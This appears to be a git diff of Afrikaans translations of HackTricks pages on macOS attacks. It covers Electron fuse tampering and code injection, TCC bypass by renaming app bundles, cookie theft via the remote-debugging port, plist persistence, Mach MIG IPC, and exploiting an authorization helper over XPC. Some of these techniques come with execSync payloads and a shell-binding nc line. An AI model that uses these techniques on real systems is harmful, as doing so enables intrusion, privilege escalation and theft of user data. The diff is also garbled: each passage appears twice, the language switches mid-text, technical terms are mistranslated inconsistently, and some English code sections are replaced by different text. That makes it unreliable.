* **`RunAsNode`**: As dit gedeaktiveer is, voorkom dit die gebruik van die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** om kode in te spuit.
* **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit verhoed op hierdie manier kode-inspuiting.
* **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaai **`asar`-lêer** deur macOS **gevalideer** word. Dit verhoed op hierdie manier **kode-inspuiting** deur die inhoud van hierdie lêer te wysig.
* **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, in plaas van soek om in die volgende volgorde te laai: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit sal net app.asar nagaan en gebruik, wat verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`**-smeul dit **onmoontlik** is om **nie-gevalideerde kode te laai**.
* **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaai **`asar`-lêer** deur macOS **gevalideer** word. Op hierdie manier word **kode-inspuiting** voorkom deur die inhoud van hierdie lêer te wysig.
* **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, in plaas van soek om in die volgende volgorde te laai: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit sal net `app.asar` nagaan en gebruik, wat verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`**-skerm, dit **onmoontlik** is om **nie-gevalideerde kode te laai**.
* **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaierproses die lêer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshot.
'n Ander interessante smeul wat nie kode-inspuiting sal voorkom nie, is:
'n Ander interessante skerm wat nie kode-inspuiting sal voorkom nie, is:
* **EnableCookieEncryption**: As dit geaktiveer is, word die koekie-stoor op skyf versleutel met OS-vlak kriptografie sleutels.
### Kontroleer Electron-smeulstowwe
### Kontroleer Electron-skerms
Jy kan **hierdie vlae nagaan** vanuit 'n toepassing met:
```bash
@ -49,7 +49,7 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Wysiging van Electron-sekeringe
### Wysiging van Electron-sekering
Soos die [**dokumente aandui**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), word die konfigurasie van die **Electron-skerings** ingestel binne die **Electron-binêre lêer** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
@ -60,26 +60,26 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
```
Jy kan hierdie lêer in [https://hexed.it/](https://hexed.it/) laai en soek na die vorige string. Na hierdie string kan jy in ASCII 'n nommer "0" of "1" sien wat aandui of elke fuus gedeaktiveer of geaktiveer is. Modifiseer net die hekskode (`0x30` is `0` en `0x31` is `1`) om **die fuuswaardes te wysig**.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Let daarop dat as jy probeer om die **`Electron Framework` binêre lêer** binne 'n toepassing met hierdie gewysigde bytes te **owerwrite**, sal die toepassing nie loop nie.
Merk op dat as jy probeer om die **`Electron Framework` binêre lêer** binne 'n aansoek met hierdie gewysigde bytes te **owerwrite**, sal die aansoek nie loop nie.
## RCE kode byvoeging tot Electron-toepassings
## RCE kode byvoeg tot Electron Aansoeke
Daar kan **eksterne JS/HTML-lêers** wees wat 'n Electron-toepassing gebruik, sodat 'n aanvaller kode in hierdie lêers kan inspuit waarvan die handtekening nie nagegaan sal word nie en arbitrêre kode kan uitvoer in die konteks van die toepassing.
Daar kan **eksterne JS/HTML-lêers** wees wat 'n Electron Aansoek gebruik, sodat 'n aanvaller kode in hierdie lêers kan inspuit waarvan die handtekening nie nagegaan sal word nie en arbitrêre kode kan uitvoer in die konteks van die aansoek.
{% hint style="danger" %}
Daar is egter tans 2 beperkings:
* Die **`kTCCServiceSystemPolicyAppBundles`** toestemming is **nodig** om 'n toepassing te wysig, dus is dit standaard nie meer moontlik nie.
* Die **`kTCCServiceSystemPolicyAppBundles`** toestemming is **nodig** om 'n Aansoek te wysig, dus is dit standaard nie meer moontlik nie.
* Die saamgestelde **`asap`** lêer het gewoonlik die fuise **`embeddedAsarIntegrityValidation`** `en` **`onlyLoadAppFromAsar`** `geaktiveer`
Dit maak hierdie aanvalspad meer ingewikkeld (of onmoontlik).
{% endhint %}
Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids te kopieer (soos **`/tmp`**), die vouer **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, die **asar**-lêer met jou **skadelike** kode te **modifiseer**, dit terug te hernoem na **`app.app/Contents`** en dit uit te voer.
Merk op dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die aansoek na 'n ander gids te kopieer (soos **`/tmp`**), die vouer **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, die **asar** lêer met jou **skadelike** kode te **modifiseer**, dit terug te hernoem na **`app.app/Contents`** en dit uit te voer.
Jy kan die kode uit die asar-lêer uitpak met:
Jy kan die kode uit die asar lêer uitpak met:
```bash
npx asar extract app.asar app-decomp
```
@ -101,7 +101,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
As die **`RunAsNode`**-fusie gedeaktiveer is, sal die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** geïgnoreer word, en dit sal nie werk nie.
As die **`RunAsNode`**-siklus uitgeschakel is, sal die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** geïgnoreer word, en dit sal nie werk nie.
{% endhint %}
### Inspruiting van die App Plist
@ -182,12 +182,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
As die smeltkroes **`EnableNodeCliInspectArguments`** gedeaktiveer is, sal die app **node parameters ignoreer** (soos `--inspect`) wanneer dit begin word tensy die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** ingestel is, wat ook **ignoreer** sal word as die smeltkroes **`RunAsNode`** gedeaktiveer is.
As die fuus **`EnableNodeCliInspectArguments`** gedeaktiveer is, sal die app **node parameters ignoreer** (soos `--inspect`) wanneer dit begin word tensy die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** ingestel is, wat ook **ignoreer** sal word as die fuus **`RunAsNode`** gedeaktiveer is.
Nogtans kan jy steeds die **elektron parameter `--remote-debugging-port=9229`** gebruik, maar die vorige lading sal nie werk om ander prosesse uit te voer nie.
Nogtans kan jy steeds die **electron param `--remote-debugging-port=9229`** gebruik, maar die vorige lading sal nie werk om ander prosesse uit te voer nie.
{% endhint %}
Deur die parameter **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien hulle binne die blaaier **gedekripteer** word en daar 'n **json eindpunt** is wat hulle sal gee).
Deur die param **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die webblaaier (aangesien hulle binne die webblaaier **gedekodeer** word en daar 'n **json eindpunt** is wat hulle sal gee).
Jy kan leer hoe om dit te doen [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en die outomatiese instrument [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) gebruik of 'n eenvoudige skrips soos:
```python
@ -201,7 +201,7 @@ In [**hierdie blogpos**](https://hackerone.com/reports/1274695), word hierdie fo
### Inspruiting vanaf die App Plist
Jy kan hierdie omgewingsveranderlike misbruik in 'n plist om volharding te behou deur hierdie sleutels by te voeg:
Jy kan hierdie omgewingsveranderlike misbruik in 'n plist om volhoubaarheid by te voeg deur hierdie sleutels:
```xml
<dict>
<key>ProgramArguments</key>
@ -215,16 +215,16 @@ Jy kan hierdie omgewingsveranderlike misbruik in 'n plist om volharding te behou
<true/>
</dict>
```
## TCC Oorweging van Ouer Weergawes
## TCC Oorsprong misbruik van Ouer Weergawes
{% hint style="success" %}
Die TCC daemon van macOS kontroleer nie die uitgevoerde weergawe van die aansoek nie. As jy dus nie kode kan inspuit in 'n Electron-aansoek nie met enige van die vorige tegnieke nie, kan jy 'n vorige weergawe van die toepassing aflaai en kode daarin inspuit, aangesien dit steeds die TCC-voorregte sal kry (tensy die Trust Cache dit voorkom).
Die TCC daemon van macOS kontroleer nie die uitgevoerde weergawe van die aansoek nie. As jy nie kode kan inspuit in 'n Electron-aansoek nie met enige van die vorige tegnieke nie, kan jy 'n vorige weergawe van die toepassing aflaai en kode daarin inspuit, aangesien dit steeds die TCC-voorregte sal kry (tensy die Trust Cache dit voorkom).
{% endhint %}
## Voer nie-JS-kode uit
Die vorige tegnieke sal jou in staat stel om **JS-kode binne die proses van die Electron-aansoek** uit te voer. Onthou egter dat die **kindprosesse onder dieselfde sandbakkieprofiel** as die oueraansoek loop en **hul TCC-toestemmings erf**.\
Dus, as jy voorregte wil misbruik om byvoorbeeld toegang tot die kamera of mikrofoon te verkry, kan jy net **'n ander binêre lêer vanuit die proses uitvoer**.
Daarom, as jy voorregte wil misbruik om byvoorbeeld toegang tot die kamera of mikrofoon te verkry, kan jy net **'n ander binêre lêer vanuit die proses uitvoer**.
## Outomatiese Inspruiting
@ -274,14 +274,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -14,11 +14,11 @@ Ander maniere om HackTricks te ondersteun:
</details>
MIG is geskep om die proses van Mach IPC-kode-skepping te **vereenvoudig**. Dit genereer basies die benodigde kode vir die bediener en klient om met 'n gegewe definisie te kommunikeer. Selfs as die gegenereerde kode lelik is, sal 'n ontwikkelaar dit net hoef in te voer en sy kode sal baie eenvoudiger wees as voorheen.
MIG is geskep om die proses van Mach IPC-kode-skepping te **vereenvoudig**. Dit genereer basies die benodigde kode vir die bediener en kliënt om met 'n gegewe definisie te kommunikeer. Selfs as die gegenereerde kode lelik is, sal 'n ontwikkelaar dit net hoef in te voer en sy kode sal baie eenvoudiger wees as voorheen.
### Voorbeeld
Skep 'n definisie-lêer, in hierdie geval met 'n baie eenvoudige funksie:
Skep 'n definisiële lêer, in hierdie geval met 'n baie eenvoudige funksie:
{% code title="myipc.defs" %}
```cpp
@ -43,7 +43,7 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
Verskeie nuwe lêers sal geskep word in die huidige gids.
In die lêers **`myipcServer.c`** en **`myipcServer.h`** kan jy die verklaring en definisie van die struktuur **`SERVERPREFmyipc_subsystem`** vind, wat basies die funksie definieer om te roep gebaseer op die ontvangende boodskap-ID (ons het 'n beginnommer van 500 aangedui):
In die lêers **`myipcServer.c`** en **`myipcServer.h`** kan jy die verklaring en definisie van die struktuur **`SERVERPREFmyipc_subsystem`** vind, wat basies die funksie definieer om te roep gebaseer op die ontvangsboodskap-ID (ons het 'n beginnommer van 500 aangedui):
{% tabs %}
{% tab title="myipcServer.c" %}
@ -65,27 +65,13 @@ myipc_server_routine,
{% endtab %}
{% tab title="myipcServer.h" %}
### MacOS MIG (Mach Interface Generator)
### macOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for Mach-based systems. It generates client-side and server-side code to handle messages sent between processes. MIG interfaces are defined in .defs files, which are then processed by the MIG compiler to generate the necessary code.
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client-server communication code based on the definitions provided in a .defs file. This allows processes to communicate with each other using messages.
#### Example:
To use MIG, you need to define the messages and data structures in a .defs file, then run MIG to generate the necessary code for client and server applications. This generated code handles the serialization and deserialization of messages, making IPC implementation easier.
```c
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcServer.h"
kern_return_t myipc_server(mach_port_t server_port, mach_port_t request_port, mach_msg_id_t msg_id, void *msg, mach_msg_size_t msg_size, mach_port_t *reply_port, mach_msg_id_t *reply_msg_id, mach_msg_size_t *reply_msg_size, kern_return_t *ret)
{
// Server-side implementation
return KERN_SUCCESS;
}
```
In this example, `myipc_server` is a function generated by MIG that handles incoming messages on the server side. It takes various parameters related to the message being received and can process it accordingly.
MIG simplifies the process of defining and handling IPC in MacOS systems, making it easier to implement secure and efficient communication between processes.
MIG is commonly used in macOS for system services and kernel extensions to define the interfaces for communication between user-space and kernel-space processes. Understanding MIG is essential for macOS security researchers and developers working on low-level system components.
{% endtab %}
```c
/* Description of this subsystem, for use in direct RPC */
@ -102,7 +88,7 @@ routine[1];
{% endtab %}
{% endtabs %}
Gebaseer op die vorige struktuur sal die funksie **`myipc_server_routine`** die **boodskap ID** kry en die korrekte funksie teruggee om te roep:
Gebaseer op die vorige struktuur sal die funksie **`myipc_server_routine`** die **boodskap ID** ontvang en die korrekte funksie teruggee om te roep:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@ -117,7 +103,7 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
In hierdie voorbeeld het ons slegs 1 funksie in die definisies gedefinieer, maar as ons meer funksies gedefinieer het, sou hulle binne die array van **`SERVERPREFmyipc_subsystem`** gewees het en die eerste een sou toegewys wees aan die ID **500**, die tweede aan die ID **501**...
In hierdie voorbeeld het ons slegs 1 funksie in die definisies gedefinieer, maar as ons meer funksies gedefinieer het, sou hulle binne die array van **`SERVERPREFmyipc_subsystem`** gewees het en die eerste een sou toegewys gewees het aan die ID **500**, die tweede een aan die ID **501**...
Eintlik is dit moontlik om hierdie verhouding te identifiseer in die struktuur **`subsystem_to_name_map_myipc`** vanaf **`myipcServer.h`**:
```c
@ -126,7 +112,7 @@ Eintlik is dit moontlik om hierdie verhouding te identifiseer in die struktuur *
{ "Subtract", 500 }
#endif
```
Uiteindelik, nog 'n belangrike funksie om die bediener te laat werk, sal **`myipc_server`** wees, wat die een is wat werklik die funksie sal **oproep** wat verband hou met die ontvangsde id:
Uiteindelik, nog 'n belangrike funksie om die bediener te laat werk, sal **`myipc_server`** wees, wat die een is wat werklik die funksie **oproep** wat verband hou met die ontvangste id:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -160,7 +146,7 @@ return FALSE;
}
</code></pre>
Kontroleer die voorheen uitgeligte lyne wat die funksie toegang gee om volgens ID te roep.
Kontroleer die voorheen uitgeligte lyne wat die funksie toegang gee om op ID te roep.
In die volgende is die kode om 'n eenvoudige **bediener** en **kliënt** te skep waar die kliënt die funksies van die bediener kan oproep:
@ -201,23 +187,25 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
{% tab title="myipc_client.c" %}
### MacOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client-side and server-side code for IPC. MIG interfaces are defined in .defs files and are used to specify the messages that can be sent between processes.
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client-side and server-side code for message-based IPC. MIG interfaces are defined in .defs files and are used to specify the messages that can be sent between processes.
To use MIG, you need to define a .defs file with the message formats and then run the MIG tool to generate the necessary code. The generated code can then be used in your macOS application to communicate between processes using the defined interfaces.
To use MIG, you need to define a .defs file with the message formats and then run the MIG tool to generate the necessary code. The generated code includes functions for sending and receiving messages between processes.
Here is an example of a simple MIG interface definition:
```c
routine simple_rpc {
routine simple_message {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t desc;
} Inband;
mach_msg_port_descriptor_t NDR;
mach_msg_type_descriptor_t NDRType;
int data;
};
```
This defines a routine called `simple_rpc` that can be used for inter-process communication. The `mach_msg_ool_descriptor_t` type allows for out-of-line data to be sent between processes.
This defines a `simple_message` routine that includes a header, body, port descriptor, type descriptor, and integer data.
By understanding and manipulating MIG interfaces, an attacker could potentially abuse inter-process communication mechanisms in macOS to escalate privileges or perform other malicious actions. It is important for developers to secure their IPC implementations to prevent such abuse.
By using MIG, developers can easily implement IPC mechanisms in their macOS applications, allowing processes to communicate with each other securely and efficiently. However, improper use of MIG can introduce security vulnerabilities, such as privilege escalation or information disclosure. It is essential to follow secure coding practices when working with MIG interfaces to prevent these issues.
{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -372,9 +360,7 @@ return r0;
{% endtab %}
{% endtabs %}
Eintlik, as jy na die funksie **`0x100004000`** gaan, sal jy die reeks van **`routine_descriptor`** strukture vind. Die eerste element van die struktuur is die **adres** waar die **funksie** geïmplementeer is, en die **struktuur neem 0x28 byte**, dus elke 0x28 byte (beginnend van byte 0) kan jy 8 byte kry en dit sal die **adres van die funksie** wees wat geroep sal word:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eintlik, as jy na die funksie **`0x100004000`** gaan, sal jy die reeks van **`routine_descriptor`** strukture vind. Die eerste element van die struktuur is die **adres** waar die **funksie** geïmplementeer is, en die **struktuur neem 0x28 byte**, dus elke 0x28 byte (beginnend vanaf byte 0) kan jy 8 byte kry en dit sal die **adres van die funksie** wees wat geroep sal word:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -387,8 +373,8 @@ Hierdie data kan onttrek word [**deur hierdie Hopper-skrip te gebruik**](https:/
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
Merk op dat om die vereistes te **kontroleer om die reg** te kry om daardie metode te roep, sal die funksie `authorizationRightForCommand` net die voorheen kommentaar-objek **`commandInfo`** nagaan. Dan sal dit **`AuthorizationCopyRights`** roep om te kontroleer **of dit die regte** het om die funksie te roep (merk op dat die vlae interaksie met die gebruiker toelaat).
Merk op dat om **die vereistes te kontroleer om die reg** te kry om daardie metode te roep, sal die funksie `authorizationRightForCommand` net die voorheen kommentaarobjek **`commandInfo`** nagaan. Dan sal dit **`AuthorizationCopyRights`** roep om te kontroleer **of dit die regte** het om die funksie te roep (merk op dat die vlae interaksie met die gebruiker toelaat).
In hierdie geval, om die funksie `readLicenseKeyAuthorization` te roep, is die `kCommandKeyAuthRightDefault` omskryf as `@kAuthorizationRuleClassAllow`. So **enigiemand kan dit roep**.
In hierdie geval, om die funksie `readLicenseKeyAuthorization` te roep, is `kCommandKeyAuthRightDefault` omskryf as `@kAuthorizationRuleClassAllow`. So **enigiemand kan dit roep**.
### DB Inligting
@ -258,19 +258,19 @@ security authorizationdb read com.apple.safaridriver.allow
```
### Toelaatbare regte
Jy kan **al die toestemmingskonfigurasies** [**hier vind**](https://www.dssw.co.uk/reference/authorization-rights/), maar die kombinasies wat nie gebruikerinteraksie vereis nie, is:
Jy kan **alle toestemmingskonfigurasies** [**hier**](https://www.dssw.co.uk/reference/authorization-rights/) vind, maar die kombinasies wat nie gebruikerinteraksie vereis nie, sal wees:
1. **'authenticate-user': 'false'**
* Hierdie is die mees direkte sleutel. Indien ingestel op `false`, dui dit aan dat 'n gebruiker nie verifikasie hoef te verskaf om hierdie reg te verkry nie.
* Dit word gebruik in **kombinasie met een van die 2 onderstaande of deur 'n groep aan te dui** waarvan die gebruiker deel moet wees.
* Dit word gebruik in **kombinasie met een van die 2 onderstaande of deur aan te dui tot watter groep** die gebruiker moet behoort.
2. **'allow-root': 'true'**
* Indien 'n gebruiker as die root-gebruiker optree (wat verhoogde regte het) en hierdie sleutel op `true` ingestel is, kan die root-gebruiker moontlik hierdie reg verkry sonder verdere verifikasie. Gewoonlik vereis dit egter reeds verifikasie om 'n root-gebruikerstatus te bereik, dus is dit nie 'n "geen verifikasie" scenario vir die meeste gebruikers nie.
* Indien 'n gebruiker as die root-gebruiker optree (wat verhoogde regte het), en hierdie sleutel op `true` ingestel is, kan die root-gebruiker moontlik hierdie reg verkry sonder verdere verifikasie. Gewoonlik vereis die bereiking van 'n root-gebruikerstatus egter reeds verifikasie, dus is dit nie 'n "geen verifikasie" scenario vir die meeste gebruikers nie.
3. **'session-owner': 'true'**
* Indien ingestel op `true`, sal die eienaar van die sessie (die tans ingeteken gebruiker) hierdie reg outomaties verkry. Dit kan verdere verifikasie omseil indien die gebruiker reeds ingeteken is.
* Indien op `true` ingestel, sal die eienaar van die sessie (die tans ingeteken gebruiker) hierdie reg outomaties verkry. Dit kan verdere verifikasie omseil indien die gebruiker reeds ingeteken is.
4. **'shared': 'true'**
* Hierdie sleutel verleen nie regte sonder verifikasie nie. Indien op `true` ingestel, beteken dit eerder dat sodra die reg ge-verifieer is, dit tussen verskeie prosesse gedeel kan word sonder dat elkeen weer moet verifieer. Die aanvanklike toekenning van die reg sal egter steeds verifikasie vereis tensy dit gekombineer word met ander sleutels soos `'authenticate-user': 'false'`.
* Hierdie sleutel verleen nie regte sonder verifikasie nie. Indien op `true` ingestel, beteken dit dat sodra die reg ge-verifieer is, dit tussen verskeie prosesse gedeel kan word sonder dat elkeen weer moet her-verifieer nie. Maar die aanvanklike toekenning van die reg sal steeds verifikasie vereis tensy dit gekombineer word met ander sleutels soos `'authenticate-user': 'false'`.
Jy kan [**hierdie skripsie gebruik**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) om die interessante regte te kry:
Jy kan [**hierdie skripsie**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) gebruik om die interessante regte te kry:
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -287,7 +287,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
As jy die funksie vind: **`[HelperTool checkAuthorization:command:]`** is dit waarskynlik dat die proses die voorheen genoemde skema vir autorisasie gebruik:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As hierdie funksie funksies soos `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` aanroep, gebruik dit [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
@ -299,7 +299,7 @@ Daarna moet jy die protokolskema vind om kommunikasie met die XPC-diens te kan v
Die funksie **`shouldAcceptNewConnection`** dui die uitgevoerde protokol aan:
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
In hierdie geval het ons dieselfde as in EvenBetterAuthorizationSample, [**kontroleer hierdie lyn**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
@ -319,7 +319,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
```
Laastens, ons moet net die **naam van die blootgestelde Mach-diens** weet om 'n kommunikasie daarmee te vestig. Daar is verskeie maniere om dit te vind:
* In die **`[HelperTool init]`** waar jy kan sien watter Mach-diens gebruik word:
* In die **`[HelperTool init()]`** waar jy kan sien watter Mach-diens gebruik word:
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -336,7 +336,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
</dict>
[...]
```
### Uitbuiting Voorbeeld
### Uitbuitingsvoorbeeld
In hierdie voorbeeld is geskep:
@ -427,14 +427,14 @@ NSLog(@"Finished!");
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,11 +6,11 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
